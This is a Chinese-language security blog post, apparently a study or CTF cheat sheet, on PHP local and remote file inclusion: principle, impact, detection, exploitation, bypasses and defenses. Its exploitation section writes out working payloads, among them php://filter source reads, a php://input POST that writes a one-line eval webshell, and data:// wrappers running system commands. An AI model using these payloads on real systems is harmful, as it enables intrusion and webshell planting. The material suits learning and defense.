文件包含

文件包含

1.原理

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的检验,从而使攻击者操作了预想之外的文件

2.危害

可能会导致包含webshell,文件读取,命令执行等

3.判断和可能出现位置

a.判断

读取一个本地的文件看是否能去读取成功

b.可能出现位置

在file=参数,或者一个参数后跟着是文件名都可以试试

4.基础利用

- 直接包含webshell

?file=shell.jpg //可以用菜刀直接连接这个地址

- 利用php://filter/read协议

?filename=php://filter/read=convert.base64-encode/resource=1.php //读源码

- 利用php://input协议

?filename=php://input
post:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>’);?>
post:<?php system('ls');?> //命令执行

- 利用file://协议

?file=file://flag.php //读取文件

- 利用data://text/plain协议

?file=data://text/plain,<?php system("cat flag.php")?> //执行命令
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

5.bypass

a.直接读取不成功,考虑目录穿越,绕过目录穿越的waf
b.尝试远程文件包含,包含远程服务器上的文件连接或者写入webshell。

6.防御

关闭allow_url_include选项防止远程文件包含
关闭allow_url_fopen
对file的参数进行严格限制,使用白名单的方式

7.扩展

1)php文件包含相关函数

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()

2)JSP文件包含相关函数

  • java.io.File()
  • java.io.FileReader()

3)ASP文件包含相关函数

  • include file
  • include virtual
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值